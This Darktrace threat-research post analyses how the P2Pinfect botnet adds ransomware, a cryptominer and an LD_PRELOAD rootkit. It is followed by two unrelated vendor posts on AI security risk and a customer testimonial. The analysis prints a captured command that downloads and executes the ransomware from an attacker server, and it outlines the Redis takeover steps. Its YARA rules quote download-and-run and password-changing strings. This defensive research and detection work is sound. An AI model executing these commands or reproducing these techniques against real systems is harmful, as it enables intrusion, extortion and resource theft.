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June 25, 2024

From Dormant to Dangerous: P2Pinfect Evolves to Deploy New Ransomware and Cryptominer

P2Pinfect, a sophisticated Rust-based malware, has evolved from a dormant spreading botnet to actively deploying ransomware and a cryptominer, primarily infecting Redis servers and using a P2P C2. The updated version includes a user-mode rootkit, but its ransomware impact is limited by the low privileges often associated with Redis.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher
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25
Jun 2024

Introduction: Ramsomware and cryptominer

P2Pinfect is a Rust-based malware covered extensively by Cado Security in the past [1]. It is a fairly sophisticated malware sample that uses a peer-to-peer (P2P) botnet for its command and control (C2) mechanism. Upon initial discovery, the malware appeared mostly dormant. Previous Cado research showed that it would spread primarily via Redis and a limited SSH spreader but ultimately did not seem to have an objective other than to spread. Researchers from Cado Security (now part of Darktrace) have observed a new update to P2Pinfect that introduces a ransomware and crypto miner payload.

Recap

Cado Security researchers first discovered it during triage of honeypot telemetry in July of 2023. Based on these findings, it was determined that the campaign began on June 23rd based on the TLS certificate used for C2 communications.

Initial access

The malware spreads by exploiting the replication features in Redis - where Redis runs in a distributed cluster of many nodes, using a leader/follower topology. This allows follower nodes to become an exact replica of the leader nodes, allowing for reads to be spread across the whole cluster to balance load, and provide some resilience in case a node goes down. [2]

This is frequently exploited by threat actors, as leaders can instruct followers to load arbitrary modules, which can in turn be used to gain code execution on the follower nodes. P2Pinfect exploits this by using the SLAVEOF command to turn discovered opened Redis nodes into a follower node of the threat actor server. It then uses a series of commands to write out a shared object (.so) file, and then instructs the follower to load it. Once this is done, the attacker can send arbitrary commands to the follower for it to execute.

Redis commands by P2Pinfect
Figure 1: Redis commands used by P2Pinfect for initial access (event ordering is non-linear)
P2Pinfect utilizes Redis initial access vector
Figure 2: P2Pinfect also utilizes another Redis initial access vector where it abuses the config commands to write a cron job to the cron directory

Main payload

P2Pinfect is a worm, so all infected machines will scan the internet for more servers to infect with the same vector described above. P2Pinfect also features a basic SSH password sprayer, where it will try a few common passwords with a few common users, but the success of this infection vector seems to be a lot less than with Redis, likely as it is oversaturated.

Upon launch it drops an SSH key into the authorized key file for the current user and runs a series of commands to prevent access to the Redis instance apart from IPs belonging to existing connections. This is done to prevent other threat actors from discovering and exploiting the server. It also tries to update the SSH configuration and restart SSH service to allow root login with password. It will also try changing passwords of other users, and will use sudo (if it has permission to) to perform privilege escalation.

The botnet is the most notable feature of P2Pinfect. As the name suggests, it is a peer-to-peer botnet, where every infected machine acts as a node in the network, and maintains a connection to several other nodes. This results in the botnet forming a huge mesh network, which the malware author makes use of to push out updated binaries across the network, via a gossip mechanism. The author simply needs to notify one peer, and it will inform all its peers and so on until the new binary is fully propagated across the network. When a new peer joins the network, non-expired commands are replayed to the peer by the network.

Updated main payload

The main binary appears to have undergone a rewrite. It now appears to be entirely written using tokio, an async framework for rust, and packed with UPX. Since it was first examined the payload, the internals have changed drastically. The binary is stripped and partially obfuscated, making static analysis difficult.

P2Pinfect used to feature persistence by adding itself to .bash_logout as well as a cron job, but it appears to no longer do either of these. The rest of its behaviors, such as the initial setup outlined previously, are the same.

Updated bash behavior

P2Pinfect drops a secondary binary at /tmp/bash and executes it. This process sets its command line args to [kworker/1:0H] in order to blend in on the process listing. /tmp/bash serves as a health check for the main binary. As previously documented, the main binary listens on a random port between 60100 to 60150 that other botnet peers will connect to. /tmp/bash periodically sends a request to the port to check it is alive and assumedly will respawn the main binary if it goes down.

System logs
Figure 3: Sysmon logs for the /tmp/bash payload

Miner payload becomes active

Previously, the Cado Security research team had observed a binary called miner that is embedded in P2Pinfect, however this appeared to never be used. However, Cado observed that the main binary dropping the miner binary to a mktmp file (mktmp creates a file in /tmp with some random characters as the name) and executing it. It features a built-in configuration, with the Monero wallet and pool preconfigured. The miner is only activated after approximately five minutes has elapsed since the main payload was started.

Wallet Details
Figure 4: Wallet details for the attacker’s supposed wallet 4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL

The attacker has made around 71 XMR, equivalent to roughly £9,660. Interestingly, the mining pool only shows one worker active at 22 KH/s (which generates around £15 a month) which doesn’t seem to match up with the size of the botnet nor how much they have made.

Upon reviewing the actual traffic from the miner, it appears to be trying to make a connection to various Hetzner IPs on TCP port 19999 and does not start mining until this is successful. These IPs appear to belong to the c3pool mining pool and not the supportxmr pool, suggesting that the config may have been left as a red herring. Checking c3pool for the wallet address, there is no activity for the above wallet address beyond September 2023. It is likely that there is another wallet address being used.

New ransomware payload

Upon joining the botnet, P2Pinfect receives a command instructing it to download and run a new binary called rsagen, which is a ransomware payload.

{"i":10,"c":1715837570,"e":1734397199,"t":{"T":{"flag":5,"e":null,"f":null,"d":[0,0],"re":false,"ts":[{"retry":{"retry":5,"delay_ms":[10000,35000]},"delay_exec_ms":null,"error_continue":false,"cmd":{"Inner":{"Download":{"url":"http://129.144.180.26:60107/dl/rsagen","save":"/tmp/rsagen"}}}},{"retry":null,"delay_exec_ms":null,"error_continue":true,"cmd":{"Shell":"bash -c 'chmod +x /tmp/rsagen; /tmp/rsagen ZW5jYXJncyAxIGJlc3R0cmNvdmVyeUBmaXJlbWFpbC5jYyxyYW5kYm5vdGhpbmdAdHV0YW5vdGEuY29t'"}}]}}} 

It is interesting to note that across all detonations, the download URL has not changed, and the command JSON is identical. This suggests that the command was issued directly by the malware operator, and the download server may be an attacker-controlled server used to host additional payloads.

This JSON structure is typical of a command from the botnet. As mentioned previously, when a new botnet peer joins the network, it is replayed non-expired commands. The c and e parameters contain timestamps that are likely to be command creation and expiry times, it can be determined that the command to start the ransomware was issued on May 16, 2024 and will continue to be active until December 17. Other interesting parameters can also be seen, such as type 5 (exec on linux, exec on windows is type 6), as well as retry parameters. Clearly a large amount of thought and effort has been put into designing P2Pinfect, far exceeding the majority of malware in sophistication.

The base64 args of the binary cleanly decode to “encargs 1 [email protected],[email protected]” - which are the email addresses used in the ransom note for where to send payment confirmations to. It’s unknown what the encargs 1 part is for.

downloaded file
Figure 5: The main binary obediently downloads and the file is executed

Upon launch, rsagen checks if the ransom note already exists in either the current working directory (/tmp), or the home directory of the user the process is running under. If it does, it exits immediately. Otherwise, it will instead begin the encryption process. The exact cryptographic process is not known, however Cado’s assumption is that it generates a public key used to encrypt files, and encrypts the corresponding private key using the attacker’s public key, which is then added to the ransom note. This allows the attacker to then decrypt the private key and return it to the user after they pay, without needing to include any secrets or C2 on the client machine.

Ransom note
Figure 6: Ransom note, titled “Your data has been locked!.txt”

As they are using Monero, it is impossible to figure out how much they have earned so far from the campaign. 1 XMR is currently £136 as of writing, which is on the cheaper end of ransomware. As this is an untargeted and opportunistic attack, it is likely the victims are to be low value, so having a low price is to be expected.

After writing out the note, the ransomware iterates through all directories on the file system, and overwrites the contents with an encrypted version. It then appends .encrypted to the end of the file name.

Linux does not require file extensions on files, however the malware seems to only target files that have specific extensions. Instead of checking for particular extensions, it instead has a massive string which it then checks if the extension is contained in.

mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder

This makes it quite difficult to pick out a complete list of extensions, however going through it there are many file formats, such as py, sqlite3, sql, mkv, doc, xls, db, key, pfx, wav, mp3, and more.

The ransomware stores a database of the files it encrypted in a mktmp file with .lockedfiles appended. The user is then expected to run the rsagen binary again with a decryption token in order to have their files decrypted. Cado Security does not possess a decryption token as this would require paying the attackers.

As the ransomware runs with the privilege level of its parent, it is likely that it will be running as the Redis user in the wild since the main initial access vector is Redis. In a typical deployment, this user has limited permissions and will only be able to access files saved by Redis. It also should not have sudo privileges, so would not be able to use it for privilege escalation.

Redis by default doesn’t save any data to disk and is typically used for in-memory only caching or key value store, so it’s unclear what exactly the ransomware could ransom other than its config files. Redis can be configured to save data to files - but the extension for this is typically rdb, which is not included in the list of extensions that P2Pinfect will ransom.

With that in mind, it’s unclear what the ransomware is actually designed to ransom. As mentioned in the recap, P2Pinfect does have a limited ability to spread via SSH, which would likely compromise higher privilege users with actual files to encrypt. The spread of P2Pinfect over SSH is far more limited compared to Redis however, so the impact is much less widespread.

New usermode rootkit

P2Pinfect now features a usermode rootkit. It will seek out .bashrc files it has permission to modify in user home directories, and append export LD_PRELOAD=/home/<user>/.lib/libs.so.1 to it. This results in the libs.so.1 file being preloaded whenever a linkable executable (such as the ls or cat commands) is run.

The shared object features definitions for the following methods, which hijack legitimate calls to it in order to hide specific information:

  • fopen & fopen64
  • open & open64
  • lstat & lstat64
  • unlink & unlinkat
  • readdir & readdir64

When a call to open or fopen is hijacked, it checks if the argument passed is one of the PIDs associated with the main file, /tmp/bash, or the miner. If it is one of these, it sets errno to 2 (file not found) and returns. Otherwise, it passes the call to the respective original function. If it is a request to open /proc/net/tcp or /proc/net/tcp6, it will filter out any ports between 60100 and 60150 from the return stream.

Similarly with hijacked calls captured to lstat or unlink, it checks if the argument passed is the main process’ binary. It does this by using ends_with string function on the file name, so any file with the same random name will be hidden from stat and unlink, regardless of if it is in the right directory or is the actual main file.

Finally with readdir, it will run the original function, but remove any of the process PIDs or the main file from the returned results.

decompiled pseudocode for readdir function
Figure 7: The decompiled pseudocode for the hijacked readdir function

It is interesting to note that when a specific environment variable is set, it will bypass all of the checks. Based on analysis of the original research from Cado Security, this is likely used to allow shell commands from the other malware binaries to be run without interference by the rootkit.

Pseudocode for env_var check
Figure 8: The decompiled pseudocode for the env_var check

The rootkit is dynamically generated by the main binary at runtime, with it choosing a random env_var to set as the bypass string, and adding its own file name plus PIDs to the SO before writing it to disk.

Like the ransomware, the usermode rootkit suffers from a fatal flaw; if the initial access is Redis, it is likely that it will only affect the Redis user as the Redis user is only used to run the Redis server and won’t have access to other user’s home directories.

Botnet for hire?

One theory we had following analysis was that P2Pinfect might be a botnet for hire. This is primarily due to how the new ransomware payload is being delivered from a fixed URL by command, compared to the other payloads which are baked into the main payload. This extensibility would make sense for the threat actor to use in order to deploy arbitrary payloads onto botnet nodes on a whim. This suggests that P2Pinfect may accept money for deploying other threat actors' payloads onto their botnet.

This theory is also supported by the following factors:

  • The miner wallet address is different from the ransomware wallet address, suggesting they might be separate entities.
  • The built in miner uses as much CPU as it can, which often has interfered with the operation of the ransomware. It doesn’t make sense for an attacker motivated by ransomware to deploy a miner as well.
  • The rsagen payload is not protected by any of P2Pinfect’s defensive features, such as the usermode rootkit.
  • As discussed, the command to run rsagen is a generic download and run command, whereas the miner has its own custom command set.
  • main is written using tokio and packed with UPX, rsagen is not packed and does not use tokio.

On the other hand, the following factors seem to contradict the idea that the distribution of rsagen could be evidence of a botnet for hire:

  • For both the main P2Pinfect binary and rsagen, the compiler string is GCC(4.8.5 20150623 (Red Hat 4.8.5-44)). This shows that the author of P2Pinfect almost certainly compiled it, assuming that the strings have not been tampered with
  • Both of the payloads are written in Rust. It’s certainly possible that a third-party attacker could also have chosen Rust for the project, but combined with the above point, it seems less likely.

While it is possible that P2Pinfect might be engaging in initial access brokerage, the facts of the matter seem to point to it most likely not being the case.

Conclusion

P2Pinfect is still a highly ubiquitous malware, which has spread to many servers. With its latest updates to the crypto miner, ransomware payload, and rootkit elements, it demonstrates the malware author’s continued efforts into profiting off their illicit access and spreading the network further, as it continues to worm across the internet.

The choice of a ransomware payload for malware primarily targeting a server that stores ephemeral in-memory data is an odd one, and P2Pinfect will likely see far more profit from their miner than their ransomware due to the limited amount of low-value files it can access due to its permission level.

The introduction of the usermode rootkit is a “good on paper” addition to the malware - while it is effective at hiding the main binaries, a user that becomes aware of its existence can easily remove the LD preload or the binary. If the initial access is Redis, the usermode rootkit will also be completely ineffective as it can only add the preload for the Redis service account, which other users will likely not log in as.

Indicators of compromise (IoCs)

Hashes

main 4f949750575d7970c20e009da115171d28f1c96b8b6a6e2623580fa8be1753d9

bash 2c8a37285804151fb727ee0ddc63e4aec54d9460b8b23505557467284f953e4b

miner 8a29238ef597df9c34411e3524109546894b3cca67c2690f63c4fb53a433f4e3

rsagen 9b74bfec39e2fcd8dd6dda6c02e1f1f8e64c10da2e06b6e09ccbe6234a828acb

libs.so.1 Dynamically generated, no consistent hash

IPs

Download server for rsagen 129[.]144[.]180[.]26:60107

Mining pool IP 1 88[.]198[.]117[.]174:19999

Mining pool IP 2 159[.]69[.]83[.]232:19999

Mining pool IP 3 195[.]201[.]97[.]156:19999

Yara

Main

Please note the main binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectMain {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect main payload"
  strings:
    $s1 = "nohup $SHELL -c \"echo chmod 777  /tmp/"
    $s2 = "libs.so.1"
    $s3 = "SHELLzshkshcshsh.bashrc"
    $s4 = "curl http:// -o /tmp/; if [ ! -f /tmp/ ]; then wget http:// -O /tmp/; fi; if [ ! -f /tmp/ ]; then ; fi; echo  && /tmp/"
    $s5 = "root:x:0:0:root:/root:/bin/bash(?:([a-z_][a-z0-9_]*?)@)?(?:(?:([0-9]\\.){3}[0-9]{1,3})|(?:([a-zA-Z0-9][\\.a-zA-Z0-9-]+)))"
    $s6 = "/etc/ssh/ssh_config/root/etc/hosts/home~/.././127.0::1.bash_historyscp-i-p-P.ssh/config(?:[0-9]{1,3}\\.){3}[0-9]{1,3}"
    $s7 = "system.exec \"bash -c \\\"\\\"\""
    $s8 = "system.exec \"\""
    $s9 = "powershell -EncodedCommand"
    $s10 = "GET /ip HTTP/1.1"
    $s11 = "^(.*?):.*?:(\\d+):\\d+:.*?:(.*?):(.*?)$"
    $s12 = "/etc/passwd.opass123456echo -e \"\" | passwd && echo  > ; echo -e \";/bin/bash-c\" | sudo -S passwd"
  condition:
    uint16(0) == 0x457f and 4 of them
}

Bash

Please note the bash binary is UPX packed. This rule will only match when unpacked.

rule P2PinfectBash {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect bash payload"
  strings:
    $h1 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 0A 59 E8 17 6C 01 00 84 C0 0F 85 0F 03 00 00 }
    $h2 = { 48 8B 9C 24 ?? ?? 00 00 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 09 59 E8 34 6C 01 00 84 C0 0F 85 AC 02 00 00 }
    $h3 = { 4C 89 EF 48 89 DE 48 8D 15 ?? ?? ?? 00 6A 03 59 E8 DD 6B 01 00 84 C0 0F 85 DF 03 00 00 }
  condition:
    uint16(0) == 0x457f and all of them
}

Miner (xmrig)

rule XMRig {
   meta:
      attack = "T1496"
      description = "Detects XMRig miner"
   strings:
      $ = "password for mining server" nocase wide ascii
      $ = "threads count to initialize RandomX dataset" nocase wide ascii
      $ = "display this help and exit" nocase wide ascii
      $ = "maximum CPU threads count (in percentage) hint for autoconfig" nocase wide ascii
      $ = "enable CUDA mining backend" nocase wide ascii
      $ = "cryptonight" nocase wide ascii
   condition:
      5 of them
}

rsagen

rule P2PinfectRsagen {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect rsagen payload"
  strings:
    $a1 = "$ENC_EXE$"
    $a2 = "$EMAIL_ADDRS$"
    $a3 = "$XMR_COUNT$"
    $a4 = "$XMR_ADDR$"
    $a5 = "$KEY_STR$"
    $a6 = "$ENC_DATABASE$"
    $b1 = "mdbmdfmydldfibdmyidbdbfwdbfrmaccdbsqlsqlite3msgemltxtcsv123docwpsxlsetpptppsdpsonevsdjpgpngziprar7ztarbz2tbkgztgzbakbackupdotxlwxltxlmxlcpotpubmppodtodsodpodgodfodbwpdqpwshwpdfaip64xpsrptrtfchmmhthtmurlswfdatrbaspphpjsppashcppccspyshclassjarvbvbsps1batcmdjsplsuoslnbrdschdchdipbmpgificopsdabrmaxcdrdwgdxfmbpspdgnexbjnbdcdqcdtowqxpqptsdrsdtpzfemfociiccpcbtpfgjdaniwmfvfbsldprtdbxpstdwtvalcadfabbsfccfudfftfpcfdocicaascgengcmostwkswk1onetoc2sntedbhwp602sxistivdivmxgpgaespaoisovcdrawcgmtifnefsvgm4um3umidwmaflv3g2mkv3gpmp4movaviasfvobmpgwmvflawavmp3laymmlsxmotguopstdsxdotpwb2slkdifstcsxcots3dm3dsuotstwsxwottpemp12csrcrtkeypfxder"
    $c1 = "lock failedlocked"
    $c2 = "/root/homeencrypt"
  condition:
    uint16(0) == 0x457f and (2 of ($a*) or $b1 or all of ($c*))
}

libs.so.1

rule P2PinfectLDPreload {
  meta:
    author = "[email protected]"
    description = "Detects P2Pinfect libs.so.1 payload"
  strings:
    $a1 = "env_var"
    $a2 = "main_file"
    $a3 = "hide.c"
    $b1 = "prefix"
    $b2 = "process1"
    $b3 = "process2"
    $b4 = "process3"
    $b5 = "owner"
    $c1 = "%d: [0-9A-Fa-f]:%X [0-9A-Fa-f]:%X %X %lX:%lX %X:%lX %lX %d %d %lu 2s"
    $c2 = "/proc/net/tcp"
    $c3 = "/proc/net/tcp6"
  condition:
    uint16(0) == 0x457f and (all of ($a*) or all of ($b*) or all of ($c*))
}

References:

  1. https://www.darktrace.com/blog/p2pinfect-new-variant-targets-mips-devices
  1. https://redis.io/docs/latest/operate/oss_and_stack/management/replication/  
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Nate Bill
Threat Researcher

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July 1, 2026

5 Ways AI is changing traditional security models according to modern CISOs

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The Reality of Securing AI in Motion

Traditional security tools were built for environments defined by fixed rules and predictable workflows. But AI behavior is non-deterministic. The same prompt can produce different outcomes, and risk often emerges gradually as AI behavior adapts, and permissions drift over time. This creates a constantly shifting environment where security teams are working to define control in a system that resists stability. “In AI security, yesterday's priorities can become tomorrow's blind spots. The landscape shifts that fast,” warned the SVP and Head of Technology and Cybersecurity of a real estate investment trust. Conventional approaches, which rely on establishing and maintaining a steady baseline, struggle to keep up with that level of change.

At the same time, AI adoption is accelerating across organizations, often faster than security teams can implement the controls needed to manage it. “The car is being built while it’s already on the road,” explained the CISO of a global private fund administrator. “The threats we're securing against today won't be the threats we're facing tomorrow. What kept us up three months ago looks nothing like what we're dealing with today.”

As businesses move quickly to unlock value from AI, security teams are left closing gaps in real time, while also facing adversaries who are using AI to make their attacks more scalable, adaptive, and difficult to detect. In this recent roundtable discussion of CISOs and security leaders, five themes emerged around AI cyber risk.  

1. AI agents with human access but no human judgment

In Darktrace’s 2026 State of AI Cybersecurity report, 96% of the surveyed security professionals agree that AI significantly improves the speed and efficiency with which they work. Yet, 92% admitted that they’re concerned with the security implications of the use of AI agents across their workforce.

AI agents now operate with human-level permissions across systems, acting at machine speed, orchestrating actions across platforms, and making decisions without the judgment or caution a person would apply. Unlike human users, they cannot be expected to pause and question whether a given action is appropriate.

Their identities are also difficult to inventory, govern, and audit. As agents become easier to deploy than legacy IT systems ever were, organizations are quickly losing track of what is running, what it has access to, and what it is doing. This creates a growing class of highly privileged, autonomous actors operating without the visibility or oversight that traditional identity and access controls were designed to provide.“While AI adoption is critical to running a modern business, AI alone can’t solve all our cybersecurity challenges,” said a global financial sector CISO. “We still need think critically and use human judgement. Those are two things AI can’t do.”

This lack of human judgment becomes especially risky as new architectures, such as Model Context Protocol (MCP), can expand how agents connect to data, tools, and external systems. By design, MCP enables agents to dynamically discover and interact with new resources, increasing flexibility but also introducing new pathways for unintended access, data exposure, or abuse if not properly governed.

The CISO of a fund administrator highlighted one emerging vector as an example: rogue MCP servers. “Our developers want to move quickly and bring value to the business, but technologies like these can unintentionally expose sensitive data in ways that would never have happened before.”

2. Increased digital complexity and expanded attack surface

AI activity rarely stays contained. A single prompt can trigger a chain of actions across networks, email, cloud infrastructure, SaaS platforms, endpoints, identity systems, and development environments, spanning systems that were never designed to be secured as a single, connected flow. This expands both the scale and complexity of what security teams need to monitor and defend.

Yet no single control has visibility across that entire chain. “You can’t defend effectively what you can’t see,” cautioned the private fund administrator CISO. As AI-driven activity moves fluidly across environments, gaps in coverage become inevitable, creating blind spots that attackers can exploit.

Threat actors are already capitalizing on this lack of visibility. “Threat actors have advanced their use of generative AI to launch more convincing phishing campaigns, automate social engineering, and scale attacks with greater precision down to the individual level,” said the SVP of Technology and Cybersecurity for the real estate investment trust. What was once manual and targeted can now be automated and personalized at scale, making attacks harder to detect and easier to execute.

At the same time, the pace of exploitation is accelerating. As a global CISO operating across 40+ countries described it: “Zero-day vulnerabilities are no longer zero day; it’s minus one day. By the time you get to it and address it, it’s already a problem.” By the time risk is identified, it has often already been realized.

The result is a rapidly expanding and increasingly interconnected attack surface that challenges security teams to maintain visibility, context, and control across AI-driven activity.

3. Shadow AI is already everywhere

76% of organizations now cite shadow AI as a problem, one that is spreading through organizations in ways that are hard to track and even harder to control.

Employees are experimenting with publicly available Gen AI tools. Teams are spinning up low-code automations on their own. SaaS providers are quietly embedding AI into existing products. Developers are plugging AI services directly into workflows, often without pausing to consider what that exposure means.

The result is a lack of visibility into:

  • What AI tools are being used
  • What data those tools can access
  • Where prompts and outputs are going
  • Which AI agents are interacting with enterprise systems

The SVP of Cybersecurity at a real estate investment trust described the shift: “Before, I was worried about someone sending data erroneously to their personal email. Now we have all these agents online that people are utilizing, and we’re looking at those vectors as well.” For security teams, this means operating without a complete view of how AI is being used, what it can access, and where risk may already be emerging.

4. Built-in guardrails are not enough

Organizations often assume that native AI guardrails or provider-level controls are sufficient to manage AI risk. But securing AI requires ongoing visibility, oversight, and governance, not just controls configured at deployment. "It’s a misconception that adopting AI is going to solve all your problems,” warns a global financial services CISO.

Security leaders are increasingly recognizing the limitations of these controls as:

  • Fragmented and difficult to enforce consistently across multiple AI systems, workflows, and environments
  • Ambiguous in terms of accountability due to shared responsibility for AI governance between IT, security, developers, business teams, and third-party providers
  • Limited in end-to-end oversight, leaving gaps that stretch from the initial prompt all the way through to the downstream impact of an agent's actions

Securing AI demands more than simple prompt filtering or static policy enforcement. It requires understanding intent, behavior, and context across both human and AI activity.

The next phase of cybersecurity: securing AI

To safely and responsibly adopt AI at scale, organizations need a new operational model for cybersecurity that’s capable of:

• Understanding AI behavior

• Identifying risk in real time

• Maintaining governance without slowing innovation

The CSO of a $10 billion municipal utility organization described the challenge with precision: “We have to move at the speed of innovation and risk, because both are accelerating faster than ever.”

Embrace AI with confidence with Darktrace / SECURE AI

Darktrace has introduced Darktrace / SECURE AI™, a new product within the Darktrace ActiveAI Security Platform™  ,designed to provide enterprise-wide security for AI by applying industry leading behavioral analysis to how prompts, agents, and AI systems are used.

Darktrace / SECURE AITM delivers real-time visibility and control across Enterprise and SaaS GenAI prompts, AI agent identities, development and production environments, and Shadow AI - detecting even subtle misuse, misconfiguration, and drift that traditional, rule-based controls simply do not understand. By interpreting context and intent across humans and machines, Darktrace enables organizations to adopt AI at scale without introducing unmanaged risk

What makes this possible is Darktrace’s decade-long maturity and expertise in behavioral understanding and AI-native cybersecurity. Achieved with Self-Learning AI that has been proven across more than 10,000 organizations, Darktrace understands what “normal” looks like for a business, across its users, systems, and now AI, so that meaningful deviations can be detected and acted on before they become incidents.

With one CISO describing Darktrace’s Self-Learning AI as “a leap forward compared to other tools” and another as a “force multiplier,” the technology can interpret ambiguous interactions, understand how access accumulates over time, and recognize when behavior, human or machine, begins to drift.

“Strategically, we’re looking to gain more visibility into how AI is operating across the environment and achieve greater control over what AI should be allowed to access and do,” shared the CISO at a private fund administrator.  

“What I’ve seen from Darktrace / SECURE AI is extremely promising. I have tremendous confidence in Darktrace’s vision for where this is headed and its ability to execute on this new solution.”

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June 29, 2026

How Darktrace Transformed Cybersecurity at Our Health Center: A CIO’s Perspective

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How Darktrace Transformed Cybersecurity at Our Health Center: A CIO’s Perspective

In my role as CIO, I bring years of experience leading IT for healthcare organizations. I’ve seen firsthand the unique cybersecurity challenges that nonprofit health centers face: limited budgets, small IT teams, and the constant pressure to prioritize patient care over technology investments. Yet, the threat landscape for health is relentless, and the stakes for protecting patient data and ensuring operational continuity have never been higher. It’s a balancing act.

The search for a better solution

Like many nonprofits, organizations I work at start with Microsoft’s security stack. The discounted pricing for nonprofits makes it an obvious choice, and Microsoft Defender provided a solid foundation for endpoint and email security. However, I quickly realized that relying on a single vendor, even one as robust as Microsoft, left gaps in our defenses. Cybersecurity is never one-size-fits-all, which is why my preference was to layer an additional solution on top of our native security to improve our security posture.

Teams needed a solution that could layer seamlessly on top of Microsoft, without adding complexity or draining limited resources. That’s when I found Darktrace. I had heard of their reputation after seeing how other organizations used Darktrace to secure their infrastructure and was impressed by their AI-native, agentless approach and agreed to a proof of value (POV).

Our goal was to elavate Microsoft with an additional layer of intelligence- one that could seamlessly integrate, operate autonomously, and support a small team without increasing overhead. We turned to Darktrace because its AI-native, agentless approach offered a fundamentally different way to detect and respond to threats, learning our environment in real time and filling gaps that traditional tools can miss. With a quick POV, we were able to validate how effectively Darktrace works alongside Microsoft to deliver a more complete and resilient security architecture.

Why Darktrace stood out

From the start, Darktrace differentiated itself in several critical ways:

  • Deep visibility: Unlike other solutions that rely simply on host-based monitoring with endpoint agents, Darktrace operates passively at the network layer and integrates via APIs for email and identity security. This gave full visibility into network traffic that we previously didn’t have, going beyond our existing endpoint-based tools without adding additional maintenance overhead for our small IT team.
  • AI-native from the ground up: Darktrace wasn’t just layering AI on top of an existing product; it was built with AI at its core. Their autonomous detection and response to threats immediately reduced the need for constant human supervision. In a world where cyber-attacks are increasingly sophisticated and subtle, having an AI that learns our environment and adapts in real time is invaluable.
  • Comprehensive coverage: We started with a POV focused on email security, but quickly expanded to full deployment across our entire infrastructure. Darktrace’s products now protect our email, network, and identity layers, providing visibility and defense against lateral movement and abnormal behavior that traditional tools often miss.

Integration and workflow: Smooth and simple

One of the most impressive aspects of Darktrace is how easy it was to integrate into an existing environment. For network security, it was as simple as plugging an appliance into our top-of-rack switch – no downtime, no complex configuration. For email and identity, API integrations meant we could be up and running in hours, not weeks.

This simplicity extended to day-to-day operations. Our IT team received regular security reports, and any time we had questions or needed to adjust policies, Darktrace’s support team was there with white-glove service. Their responsiveness- even in the middle of the night- gave us confidence that we had true partners, not just a vendor.

Real-world impact: Threats stopped, time saved

The results spoke for themselves. During the time with Darktrace, I did not experience any security incidents. The team slept better at night knowing that Darktrace was monitoring for anomalies and proactively blocking suspicious activity, alerting us even before we noticed anything was wrong.

A memorable example was during an Electronic Health Record (EHR) upgrade, when my team forgot to adjust the policy in advance. Darktrace’s autonomous response was so effective that it blocked our upgrade activities- proof that nothing, not even internal changes, could slip by unnoticed. This level of vigilance meant that ransomware, data exfiltration attempts, or insider threats would be detected and contained before causing harm.

While I can’t share specific ROI numbers, the value was clear: we’ve avoided costly breaches, reduced the time spent investigating alerts, and eliminated the performance drag of agent-based tools. With Darktrace layered on top of Microsoft, I’ve hit the right balance of maximum protection with minimal spending. The cost of Darktrace / EMAIL was competitive, especially when factoring in the included Managed Detection and Response (MDR) service, which provides expert human oversight on top of the AI.

Key differentiators over the competition

  • Extending visibility beyond the endpoint: Traditional host-based monitoring solutions, such as EDR, play a critical role in securing individual devices. By adding a network detection and response (NDR) layer, we gained visibility into activity across our wider digital environment, surfacing threats that move laterally, operate between devices, or bypass endpoint controls. Darktrace also stood out for its ability to learn our normal patterns of behavior and identify subtle deviations in real time, not just known indicators of compromise. Because this is delivered through passive, non-disruptive monitoring, we were able to strengthen our defenses without adding complexity or impacting performance.
  • Layered security without complexity: Darktrace elevated our Microsoft foundation without creating conflicts or requiring us to disable existing protections. This layered approach maximized our security posture without adding operational burden.
  • Expert partnership: Beyond technology, Darktrace’s team acted as true partners, guiding us through deployment, providing ongoing support, and helping us interpret findings. This partnership was as valuable as the technology itself.

Advice for other nonprofits

If you’re an IT leader in a nonprofit, my advice is simple: look for solutions that are easy to deploy, intelligent in their response, and cost-effective. Don’t settle for more endpoint based tools that overlap with what you already have. Seek out a layered approach that covers your blind spots – especially at the network and email layers- at a price point that suits your organization.

Most importantly, don’t be afraid to evaluate new solutions. Even if you’re inundated with vendor pitches, you owe it to your organization to explore options that could save you time, money, and sleepless nights.

For organizations I work at, combining Microsoft’s security stack with Darktrace’s AI-native, platform struck the right balance between protection and practicality. We gained enterprise-grade security without sacrificing performance or stretching our budget. In the end, that meant more resources for what matters most: delivering care to our patients. If you’re facing similar challenges, I encourage you to consider how Darktrace could transform your security posture, and give your team the peace of mind they deserve.

For the organization I work in, combining Microsoft with Darktrace delivered a clear step-change in our security posture. Microsoft provided the foundation, while Darktrace’s behavioral intelligence added visibility into the unknown, surfacing emerging threats based on deviations in real-time activity, not just known indicators.

The result was enterprise-grade protection without added overhead, allowing us to stay focused on patient outcomes, not security operations. For organizations facing similar pressures, this layered approach offers a smarter, more efficient path to securing modern environments.

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About the author
